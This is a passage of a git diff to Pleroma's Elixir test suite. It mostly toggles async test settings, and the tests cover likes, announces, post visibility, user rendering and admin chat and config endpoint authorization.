	activity = insert(:note_activity)
	object = Object.normalize(activity)

	assert {:ok, updated_object} =
	Utils.update_element_in_object(
	"like",
	[user.ap_id],
	object
	)

	assert updated_object.data["likes"] == [user.ap_id]
	assert updated_object.data["like_count"] == 1
	end
	end

	describe "add_like_to_object/2" do
	test "add actor to likes" do
	user = insert(:user)
	user2 = insert(:user)
	object = insert(:note)

	assert {:ok, updated_object} =
	Utils.add_like_to_object(
	%Activity{data: %{"actor" => user.ap_id}},
	object
	)

	assert updated_object.data["likes"] == [user.ap_id]
	assert updated_object.data["like_count"] == 1

	assert {:ok, updated_object2} =
	Utils.add_like_to_object(
	%Activity{data: %{"actor" => user2.ap_id}},
	updated_object
	)

	assert updated_object2.data["likes"] == [user2.ap_id, user.ap_id]
	assert updated_object2.data["like_count"] == 2
	end
	end

	describe "remove_like_from_object/2" do
	test "removes ap_id from likes" do
	user = insert(:user)
	user2 = insert(:user)
	object = insert(:note, data: %{"likes" => [user.ap_id, user2.ap_id], "like_count" => 2})

	assert {:ok, updated_object} =
	Utils.remove_like_from_object(
	%Activity{data: %{"actor" => user.ap_id}},
	object
	)

	assert updated_object.data["likes"] == [user2.ap_id]
	assert updated_object.data["like_count"] == 1
	end
	end

	describe "get_existing_like/2" do
	test "fetches existing like" do
	note_activity = insert(:note_activity)
	assert object = Object.normalize(note_activity)

	user = insert(:user)
	refute Utils.get_existing_like(user.ap_id, object)
	{:ok, like_activity} = CommonAPI.favorite(user, note_activity.id)

	assert ^like_activity = Utils.get_existing_like(user.ap_id, object)
	end
	end

	describe "get_get_existing_announce/2" do
	test "returns nil if announce not found" do
	actor = insert(:user)
	refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}})
	end

	test "fetches existing announce" do
	note_activity = insert(:note_activity)
	assert object = Object.normalize(note_activity)
	actor = insert(:user)

	{:ok, announce} = CommonAPI.repeat(note_activity.id, actor)
	assert Utils.get_existing_announce(actor.ap_id, object) == announce
	end
	end

	describe "fetch_latest_block/2" do
	test "fetches last block activities" do
	user1 = insert(:user)
	user2 = insert(:user)

	assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2)
	assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2)
	assert {:ok, %Activity{} = activity} = CommonAPI.block(user1, user2)

	assert Utils.fetch_latest_block(user1, user2) == activity
	end
	end

	describe "recipient_in_message/3" do
	test "returns true when recipient in `to`" do
	recipient = insert(:user)
	actor = insert(:user)
	assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id})

	assert Utils.recipient_in_message(
	recipient,
	actor,
	%{"to" => [recipient.ap_id], "cc" => ""}
	)
	end

	test "returns true when recipient in `cc`" do
	recipient = insert(:user)
	actor = insert(:user)
	assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id})

	assert Utils.recipient_in_message(
	recipient,
	actor,
	%{"cc" => [recipient.ap_id], "to" => ""}
	)
	end

	test "returns true when recipient in `bto`" do
	recipient = insert(:user)
	actor = insert(:user)
	assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id})

	assert Utils.recipient_in_message(
	recipient,
	actor,
	%{"bcc" => "", "bto" => [recipient.ap_id]}
	)
	end

	test "returns true when recipient in `bcc`" do
	recipient = insert(:user)
	actor = insert(:user)
	assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id})

	assert Utils.recipient_in_message(
	recipient,
	actor,
	%{"bto" => "", "bcc" => [recipient.ap_id]}
	)
	end

	test "returns true when message without addresses fields" do
	recipient = insert(:user)
	actor = insert(:user)
	assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id})

	assert Utils.recipient_in_message(
	recipient,
	actor,
	%{"btod" => "", "bccc" => [recipient.ap_id]}
	)
	end

	test "returns false" do
	recipient = insert(:user)
	actor = insert(:user)
	refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"})
	end
	end

	describe "lazy_put_activity_defaults/2" do
	test "returns map with id and published data" do
	note_activity = insert(:note_activity)
	object = Object.normalize(note_activity)
	res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]})
	assert res["context"] == object.data["id"]
	assert res["context_id"] == object.id
	assert res["id"]
	assert res["published"]
	end

	test "returns map with fake id and published data" do
	assert %{
	"context" => "pleroma:fakecontext",
	"context_id" => -1,
	"id" => "pleroma:fakeid",
	"published" => _
	} = Utils.lazy_put_activity_defaults(%{}, true)
	end

	test "returns activity data with object" do
	note_activity = insert(:note_activity)
	object = Object.normalize(note_activity)

	res =
	Utils.lazy_put_activity_defaults(%{
	"context" => object.data["id"],
	"object" => %{}
	})

	assert res["context"] == object.data["id"]
	assert res["context_id"] == object.id
	assert res["id"]
	assert res["published"]
	assert res["object"]["id"]
	assert res["object"]["published"]
	assert res["object"]["context"] == object.data["id"]
	assert res["object"]["context_id"] == object.id
	end
	end

	describe "make_flag_data" do
	test "returns empty map when params is invalid" do
	assert Utils.make_flag_data(%{}, %{}) == %{}
	end

	test "returns map with Flag object" do
	reporter = insert(:user)
	target_account = insert(:user)
	{:ok, activity} = CommonAPI.post(target_account, %{status: "foobar"})
	context = Utils.generate_context_id()
	content = "foobar"

	target_ap_id = target_account.ap_id
	activity_ap_id = activity.data["id"]

	res =
	Utils.make_flag_data(
	%{
	actor: reporter,
	context: context,
	account: target_account,
	statuses: [%{"id" => activity.data["id"]}],
	content: content
	},
	%{}
	)

	note_obj = %{
	"type" => "Note",
	"id" => activity_ap_id,
	"content" => content,
	"published" => activity.object.data["published"],
	"actor" =>
	AccountView.render("show.json", %{user: target_account, skip_visibility_check: true})
	}

	assert %{
	"type" => "Flag",
	"content" => ^content,
	"context" => ^context,
	"object" => [^target_ap_id, ^note_obj],
	"state" => "open"
	} = res
	end
	end

	describe "add_announce_to_object/2" do
	test "adds actor to announcement" do
	user = insert(:user)
	object = insert(:note)

	activity =
	insert(:note_activity,
	data: %{
	"actor" => user.ap_id,
	"cc" => [Pleroma.Constants.as_public()]
	}
	)

	assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object)
	assert updated_object.data["announcements"] == [user.ap_id]
	assert updated_object.data["announcement_count"] == 1
	end
	end

	describe "remove_announce_from_object/2" do
	test "removes actor from announcements" do
	user = insert(:user)
	user2 = insert(:user)

	object =
	insert(:note,
	data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2}
	)

	activity = insert(:note_activity, data: %{"actor" => user.ap_id})

	assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object)
	assert updated_object.data["announcements"] == [user2.ap_id]
	assert updated_object.data["announcement_count"] == 1
	end
	end

	describe "get_cached_emoji_reactions/1" do
	test "returns the data or an emtpy list" do
	object = insert(:note)
	assert Utils.get_cached_emoji_reactions(object) == []

	object = insert(:note, data: %{"reactions" => [["x", ["lain"]]]})
	assert Utils.get_cached_emoji_reactions(object) == [["x", ["lain"]]]

	object = insert(:note, data: %{"reactions" => %{}})
	assert Utils.get_cached_emoji_reactions(object) == []
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/views/user_view_test.exs b/test/pleroma/web/activity_pub/views/user_view_test.exs
	index 98c7c9d09..fe6ddf0d6 100644
	--- a/test/pleroma/web/activity_pub/views/user_view_test.exs
	+++ b/test/pleroma/web/activity_pub/views/user_view_test.exs
	@@ -1,180 +1,180 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.UserViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory

	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.UserView
	alias Pleroma.Web.CommonAPI

	test "Renders a user, including the public key" do
	user = insert(:user)
	{:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})

	assert result["id"] == user.ap_id
	assert result["preferredUsername"] == user.nickname

	assert String.contains?(result["publicKey"]["publicKeyPem"], "BEGIN PUBLIC KEY")
	end

	test "Renders profile fields" do
	fields = [
	%{"name" => "foo", "value" => "bar"}
	]

	{:ok, user} =
	insert(:user)
	\|> User.update_changeset(%{fields: fields})
	\|> User.update_and_set_cache()

	assert %{
	"attachment" => [%{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}]
	} = UserView.render("user.json", %{user: user})
	end

	test "Renders with emoji tags" do
	user = insert(:user, emoji: %{"bib" => "/test"})

	assert %{
	"tag" => [
	%{
	"icon" => %{"type" => "Image", "url" => "/test"},
	"id" => "/test",
	"name" => ":bib:",
	"type" => "Emoji",
	"updated" => "1970-01-01T00:00:00Z"
	}
	]
	} = UserView.render("user.json", %{user: user})
	end

	test "Does not add an avatar image if the user hasn't set one" do
	user = insert(:user)
	{:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})
	refute result["icon"]
	refute result["image"]

	user =
	insert(:user,
	avatar: %{"url" => [%{"href" => "https://someurl"}]},
	banner: %{"url" => [%{"href" => "https://somebanner"}]}
	)

	{:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})
	assert result["icon"]["url"] == "https://someurl"
	assert result["image"]["url"] == "https://somebanner"
	end

	test "renders an invisible user with the invisible property set to true" do
	user = insert(:user, invisible: true)

	assert %{"invisible" => true} = UserView.render("service.json", %{user: user})
	end

	describe "endpoints" do
	test "local users have a usable endpoints structure" do
	user = insert(:user)
	{:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})

	assert result["id"] == user.ap_id

	%{
	"sharedInbox" => _,
	"oauthAuthorizationEndpoint" => _,
	"oauthRegistrationEndpoint" => _,
	"oauthTokenEndpoint" => _
	} = result["endpoints"]
	end

	test "remote users have an empty endpoints structure" do
	user = insert(:user, local: false)
	{:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})

	assert result["id"] == user.ap_id
	assert result["endpoints"] == %{}
	end

	test "instance users do not expose oAuth endpoints" do
	user = insert(:user, nickname: nil, local: true)
	{:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})

	refute result["endpoints"]["oauthAuthorizationEndpoint"]
	refute result["endpoints"]["oauthRegistrationEndpoint"]
	refute result["endpoints"]["oauthTokenEndpoint"]
	end
	end

	describe "followers" do
	test "sets totalItems to zero when followers are hidden" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
	assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
	user = Map.merge(user, %{hide_followers_count: true, hide_followers: true})
	refute UserView.render("followers.json", %{user: user}) \|> Map.has_key?("totalItems")
	end

	test "sets correct totalItems when followers are hidden but the follower counter is not" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
	assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
	user = Map.merge(user, %{hide_followers_count: false, hide_followers: true})
	assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
	end
	end

	describe "following" do
	test "sets totalItems to zero when follows are hidden" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
	assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
	user = Map.merge(user, %{hide_follows_count: true, hide_follows: true})
	assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user})
	end

	test "sets correct totalItems when follows are hidden but the follow counter is not" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
	assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
	user = Map.merge(user, %{hide_follows_count: false, hide_follows: true})
	assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
	end
	end

	describe "acceptsChatMessages" do
	test "it returns this value if it is set" do
	true_user = insert(:user, accepts_chat_messages: true)
	false_user = insert(:user, accepts_chat_messages: false)
	nil_user = insert(:user, accepts_chat_messages: nil)

	assert %{"capabilities" => %{"acceptsChatMessages" => true}} =
	UserView.render("user.json", user: true_user)

	assert %{"capabilities" => %{"acceptsChatMessages" => false}} =
	UserView.render("user.json", user: false_user)

	refute Map.has_key?(
	UserView.render("user.json", user: nil_user)["capabilities"],
	"acceptsChatMessages"
	)
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/visibility_test.exs b/test/pleroma/web/activity_pub/visibility_test.exs
	index 836d44994..1ec41aa19 100644
	--- a/test/pleroma/web/activity_pub/visibility_test.exs
	+++ b/test/pleroma/web/activity_pub/visibility_test.exs
	@@ -1,230 +1,230 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.VisibilityTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.CommonAPI
	import Pleroma.Factory

	setup do
	user = insert(:user)
	mentioned = insert(:user)
	following = insert(:user)
	unrelated = insert(:user)
	{:ok, following, user} = Pleroma.User.follow(following, user)
	{:ok, list} = Pleroma.List.create("foo", user)

	Pleroma.List.follow(list, unrelated)

	{:ok, public} =
	CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "public"})

	{:ok, private} =
	CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "private"})

	{:ok, direct} =
	CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "direct"})

	{:ok, unlisted} =
	CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "unlisted"})

	{:ok, list} =
	CommonAPI.post(user, %{
	status: "@#{mentioned.nickname}",
	visibility: "list:#{list.id}"
	})

	%{
	public: public,
	private: private,
	direct: direct,
	unlisted: unlisted,
	user: user,
	mentioned: mentioned,
	following: following,
	unrelated: unrelated,
	list: list
	}
	end

	test "is_direct?", %{
	public: public,
	private: private,
	direct: direct,
	unlisted: unlisted,
	list: list
	} do
	assert Visibility.is_direct?(direct)
	refute Visibility.is_direct?(public)
	refute Visibility.is_direct?(private)
	refute Visibility.is_direct?(unlisted)
	assert Visibility.is_direct?(list)
	end

	test "is_public?", %{
	public: public,
	private: private,
	direct: direct,
	unlisted: unlisted,
	list: list
	} do
	refute Visibility.is_public?(direct)
	assert Visibility.is_public?(public)
	refute Visibility.is_public?(private)
	assert Visibility.is_public?(unlisted)
	refute Visibility.is_public?(list)
	end

	test "is_private?", %{
	public: public,
	private: private,
	direct: direct,
	unlisted: unlisted,
	list: list
	} do
	refute Visibility.is_private?(direct)
	refute Visibility.is_private?(public)
	assert Visibility.is_private?(private)
	refute Visibility.is_private?(unlisted)
	refute Visibility.is_private?(list)
	end

	test "is_list?", %{
	public: public,
	private: private,
	direct: direct,
	unlisted: unlisted,
	list: list
	} do
	refute Visibility.is_list?(direct)
	refute Visibility.is_list?(public)
	refute Visibility.is_list?(private)
	refute Visibility.is_list?(unlisted)
	assert Visibility.is_list?(list)
	end

	test "visible_for_user?", %{
	public: public,
	private: private,
	direct: direct,
	unlisted: unlisted,
	user: user,
	mentioned: mentioned,
	following: following,
	unrelated: unrelated,
	list: list
	} do
	# All visible to author

	assert Visibility.visible_for_user?(public, user)
	assert Visibility.visible_for_user?(private, user)
	assert Visibility.visible_for_user?(unlisted, user)
	assert Visibility.visible_for_user?(direct, user)
	assert Visibility.visible_for_user?(list, user)

	# All visible to a mentioned user

	assert Visibility.visible_for_user?(public, mentioned)
	assert Visibility.visible_for_user?(private, mentioned)
	assert Visibility.visible_for_user?(unlisted, mentioned)
	assert Visibility.visible_for_user?(direct, mentioned)
	assert Visibility.visible_for_user?(list, mentioned)

	# DM not visible for just follower

	assert Visibility.visible_for_user?(public, following)
	assert Visibility.visible_for_user?(private, following)
	assert Visibility.visible_for_user?(unlisted, following)
	refute Visibility.visible_for_user?(direct, following)
	refute Visibility.visible_for_user?(list, following)

	# Public and unlisted visible for unrelated user

	assert Visibility.visible_for_user?(public, unrelated)
	assert Visibility.visible_for_user?(unlisted, unrelated)
	refute Visibility.visible_for_user?(private, unrelated)
	refute Visibility.visible_for_user?(direct, unrelated)

	# Visible for a list member
	assert Visibility.visible_for_user?(list, unrelated)
	end

	test "doesn't die when the user doesn't exist",
	%{
	direct: direct,
	user: user
	} do
	Repo.delete(user)
	- Cachex.clear(:user_cache)
	+ Pleroma.User.invalidate_cache(user)
	refute Visibility.is_private?(direct)
	end

	test "get_visibility", %{
	public: public,
	private: private,
	direct: direct,
	unlisted: unlisted,
	list: list
	} do
	assert Visibility.get_visibility(public) == "public"
	assert Visibility.get_visibility(private) == "private"
	assert Visibility.get_visibility(direct) == "direct"
	assert Visibility.get_visibility(unlisted) == "unlisted"
	assert Visibility.get_visibility(list) == "list"
	end

	test "get_visibility with directMessage flag" do
	assert Visibility.get_visibility(%{data: %{"directMessage" => true}}) == "direct"
	end

	test "get_visibility with listMessage flag" do
	assert Visibility.get_visibility(%{data: %{"listMessage" => ""}}) == "list"
	end

	describe "entire_thread_visible_for_user?/2" do
	test "returns false if not found activity", %{user: user} do
	refute Visibility.entire_thread_visible_for_user?(%Activity{}, user)
	end

	test "returns true if activity hasn't 'Create' type", %{user: user} do
	activity = insert(:like_activity)
	assert Visibility.entire_thread_visible_for_user?(activity, user)
	end

	test "returns false when invalid recipients", %{user: user} do
	author = insert(:user)

	activity =
	insert(:note_activity,
	note:
	insert(:note,
	user: author,
	data: %{"to" => ["test-user"]}
	)
	)

	refute Visibility.entire_thread_visible_for_user?(activity, user)
	end

	test "returns true if user following to author" do
	author = insert(:user)
	user = insert(:user)
	Pleroma.User.follow(user, author)

	activity =
	insert(:note_activity,
	note:
	insert(:note,
	user: author,
	data: %{"to" => [user.ap_id]}
	)
	)

	assert Visibility.entire_thread_visible_for_user?(activity, user)
	end
	end
	end
	diff --git a/test/pleroma/web/admin_api/controllers/chat_controller_test.exs b/test/pleroma/web/admin_api/controllers/chat_controller_test.exs
	index 5aefa1e60..dead1c09e 100644
	--- a/test/pleroma/web/admin_api/controllers/chat_controller_test.exs
	+++ b/test/pleroma/web/admin_api/controllers/chat_controller_test.exs
	@@ -1,218 +1,218 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.ChatControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	import Pleroma.Factory

	alias Pleroma.Chat
	alias Pleroma.Chat.MessageReference
	alias Pleroma.ModerationLog
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.Web.CommonAPI

	defp admin_setup do
	admin = insert(:user, is_admin: true)
	token = insert(:oauth_admin_token, user: admin)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> assign(:token, token)

	{:ok, %{admin: admin, token: token, conn: conn}}
	end

	describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do
	setup do: admin_setup()

	test "it deletes a message from the chat", %{conn: conn, admin: admin} do
	user = insert(:user)
	recipient = insert(:user)

	{:ok, message} =
	CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend")

	object = Object.normalize(message, false)

	chat = Chat.get(user.id, recipient.ap_id)
	recipient_chat = Chat.get(recipient.id, user.ap_id)

	cm_ref = MessageReference.for_chat_and_object(chat, object)
	recipient_cm_ref = MessageReference.for_chat_and_object(recipient_chat, object)

	result =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}")
	\|> json_response_and_validate_schema(200)

	log_entry = Repo.one(ModerationLog)

	assert ModerationLog.get_log_entry_message(log_entry) ==
	"@#{admin.nickname} deleted chat message ##{cm_ref.id}"

	assert result["id"] == cm_ref.id
	refute MessageReference.get_by_id(cm_ref.id)
	refute MessageReference.get_by_id(recipient_cm_ref.id)
	assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id)
	end
	end

	describe "GET /api/pleroma/admin/chats/:id/messages" do
	setup do: admin_setup()

	test "it paginates", %{conn: conn} do
	user = insert(:user)
	recipient = insert(:user)

	Enum.each(1..30, fn _ ->
	{:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey")
	end)

	chat = Chat.get(user.id, recipient.ap_id)

	result =
	conn
	\|> get("/api/pleroma/admin/chats/#{chat.id}/messages")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 20

	result =
	conn
	\|> get("/api/pleroma/admin/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 10
	end

	test "it returns the messages for a given chat", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)

	{:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey")
	{:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey")
	{:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?")
	{:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?")

	chat = Chat.get(user.id, other_user.ap_id)

	result =
	conn
	\|> get("/api/pleroma/admin/chats/#{chat.id}/messages")
	\|> json_response_and_validate_schema(200)

	result
	\|> Enum.each(fn message ->
	assert message["chat_id"] == chat.id \|> to_string()
	end)

	assert length(result) == 3
	end
	end

	describe "GET /api/pleroma/admin/chats/:id" do
	setup do: admin_setup()

	test "it returns a chat", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)

	result =
	conn
	\|> get("/api/pleroma/admin/chats/#{chat.id}")
	\|> json_response_and_validate_schema(200)

	assert result["id"] == to_string(chat.id)
	assert %{} = result["sender"]
	assert %{} = result["receiver"]
	refute result["account"]
	end
	end

	describe "unauthorized chat moderation" do
	setup do
	user = insert(:user)
	recipient = insert(:user)

	{:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo")
	object = Object.normalize(message, false)
	chat = Chat.get(user.id, recipient.ap_id)
	cm_ref = MessageReference.for_chat_and_object(chat, object)

	%{conn: conn} = oauth_access(["read:chats", "write:chats"])
	%{conn: conn, chat: chat, cm_ref: cm_ref}
	end

	test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{
	conn: conn,
	chat: chat,
	cm_ref: cm_ref
	} do
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}")
	\|> json_response(403)

	assert MessageReference.get_by_id(cm_ref.id) == cm_ref
	end

	test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do
	conn
	\|> get("/api/pleroma/admin/chats/#{chat.id}/messages")
	\|> json_response(403)
	end

	test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do
	conn
	\|> get("/api/pleroma/admin/chats/#{chat.id}")
	\|> json_response(403)
	end
	end

	describe "unauthenticated chat moderation" do
	setup do
	user = insert(:user)
	recipient = insert(:user)

	{:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo")
	object = Object.normalize(message, false)
	chat = Chat.get(user.id, recipient.ap_id)
	cm_ref = MessageReference.for_chat_and_object(chat, object)

	%{conn: build_conn(), chat: chat, cm_ref: cm_ref}
	end

	test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{
	conn: conn,
	chat: chat,
	cm_ref: cm_ref
	} do
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}")
	\|> json_response(403)

	assert MessageReference.get_by_id(cm_ref.id) == cm_ref
	end

	test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do
	conn
	\|> get("/api/pleroma/admin/chats/#{chat.id}/messages")
	\|> json_response(403)
	end

	test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do
	conn
	\|> get("/api/pleroma/admin/chats/#{chat.id}")
	\|> json_response(403)
	end
	end
	end
	diff --git a/test/pleroma/web/admin_api/controllers/config_controller_test.exs b/test/pleroma/web/admin_api/controllers/config_controller_test.exs
	index e6b203e74..df5d74d45 100644
	--- a/test/pleroma/web/admin_api/controllers/config_controller_test.exs
	+++ b/test/pleroma/web/admin_api/controllers/config_controller_test.exs
	@@ -1,1459 +1,1459 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.ConfigControllerTest do
	- use Pleroma.Web.ConnCase, async: true
	+ use Pleroma.Web.ConnCase

	import ExUnit.CaptureLog
	import Pleroma.Factory

	alias Pleroma.Config
	alias Pleroma.ConfigDB

	setup do
	admin = insert(:user, is_admin: true)
	token = insert(:oauth_admin_token, user: admin)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> assign(:token, token)

	{:ok, %{admin: admin, token: token, conn: conn}}
	end

	describe "GET /api/pleroma/admin/config" do
	setup do: clear_config(:configurable_from_database, true)

	test "when configuration from database is off", %{conn: conn} do
	Config.put(:configurable_from_database, false)
	conn = get(conn, "/api/pleroma/admin/config")

	assert json_response_and_validate_schema(conn, 400) ==
	%{
	"error" => "To use this endpoint you need to enable configuration from database."
	}
	end

	test "with settings only in db", %{conn: conn} do
	config1 = insert(:config)
	config2 = insert(:config)

	conn = get(conn, "/api/pleroma/admin/config?only_db=true")

	%{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => key1,
	"value" => _
	},
	%{
	"group" => ":pleroma",
	"key" => key2,
	"value" => _
	}
	]
	} = json_response_and_validate_schema(conn, 200)

	assert key1 == inspect(config1.key)
	assert key2 == inspect(config2.key)
	end

	test "db is added to settings that are in db", %{conn: conn} do
	_config = insert(:config, key: ":instance", value: [name: "Some name"])

	%{"configs" => configs} =
	conn
	\|> get("/api/pleroma/admin/config")
	\|> json_response_and_validate_schema(200)

	[instance_config] =
	Enum.filter(configs, fn %{"group" => group, "key" => key} ->
	group == ":pleroma" and key == ":instance"
	end)

	assert instance_config["db"] == [":name"]
	end

	test "merged default setting with db settings", %{conn: conn} do
	config1 = insert(:config)
	config2 = insert(:config)

	config3 =
	insert(:config,
	value: [k1: :v1, k2: :v2]
	)

	%{"configs" => configs} =
	conn
	\|> get("/api/pleroma/admin/config")
	\|> json_response_and_validate_schema(200)

	assert length(configs) > 3

	saved_configs = [config1, config2, config3]
	keys = Enum.map(saved_configs, &inspect(&1.key))

	received_configs =
	Enum.filter(configs, fn %{"group" => group, "key" => key} ->
	group == ":pleroma" and key in keys
	end)

	assert length(received_configs) == 3

	db_keys =
	config3.value
	\|> Keyword.keys()
	\|> ConfigDB.to_json_types()

	keys = Enum.map(saved_configs -- [config3], &inspect(&1.key))

	values = Enum.map(saved_configs, &ConfigDB.to_json_types(&1.value))

	mapset_keys = MapSet.new(keys ++ db_keys)

	Enum.each(received_configs, fn %{"value" => value, "db" => db} ->
	db = MapSet.new(db)
	assert MapSet.subset?(db, mapset_keys)

	assert value in values
	end)
	end

	test "subkeys with full update right merge", %{conn: conn} do
	insert(:config,
	key: ":emoji",
	value: [groups: [a: 1, b: 2], key: [a: 1]]
	)

	insert(:config,
	key: ":assets",
	value: [mascots: [a: 1, b: 2], key: [a: 1]]
	)

	%{"configs" => configs} =
	conn
	\|> get("/api/pleroma/admin/config")
	\|> json_response_and_validate_schema(200)

	vals =
	Enum.filter(configs, fn %{"group" => group, "key" => key} ->
	group == ":pleroma" and key in [":emoji", ":assets"]
	end)

	emoji = Enum.find(vals, fn %{"key" => key} -> key == ":emoji" end)
	assets = Enum.find(vals, fn %{"key" => key} -> key == ":assets" end)

	emoji_val = ConfigDB.to_elixir_types(emoji["value"])
	assets_val = ConfigDB.to_elixir_types(assets["value"])

	assert emoji_val[:groups] == [a: 1, b: 2]
	assert assets_val[:mascots] == [a: 1, b: 2]
	end

	test "with valid `admin_token` query parameter, skips OAuth scopes check" do
	clear_config([:admin_token], "password123")

	build_conn()
	\|> get("/api/pleroma/admin/config?admin_token=password123")
	\|> json_response_and_validate_schema(200)
	end
	end

	test "POST /api/pleroma/admin/config with configdb disabled", %{conn: conn} do
	clear_config(:configurable_from_database, false)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{"configs" => []})

	assert json_response_and_validate_schema(conn, 400) ==
	%{"error" => "To use this endpoint you need to enable configuration from database."}
	end

	describe "POST /api/pleroma/admin/config" do
	setup do
	http = Application.get_env(:pleroma, :http)

	on_exit(fn ->
	Application.delete_env(:pleroma, :key1)
	Application.delete_env(:pleroma, :key2)
	Application.delete_env(:pleroma, :key3)
	Application.delete_env(:pleroma, :key4)
	Application.delete_env(:pleroma, :keyaa1)
	Application.delete_env(:pleroma, :keyaa2)
	Application.delete_env(:pleroma, Pleroma.Web.Endpoint.NotReal)
	Application.delete_env(:pleroma, Pleroma.Captcha.NotReal)
	Application.put_env(:pleroma, :http, http)
	Application.put_env(:tesla, :adapter, Tesla.Mock)
	Restarter.Pleroma.refresh()
	end)
	end

	setup do: clear_config(:configurable_from_database, true)

	@tag capture_log: true
	test "create new config setting in db", %{conn: conn} do
	ueberauth = Application.get_env(:ueberauth, Ueberauth)
	on_exit(fn -> Application.put_env(:ueberauth, Ueberauth, ueberauth) end)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{group: ":pleroma", key: ":key1", value: "value1"},
	%{
	group: ":ueberauth",
	key: "Ueberauth",
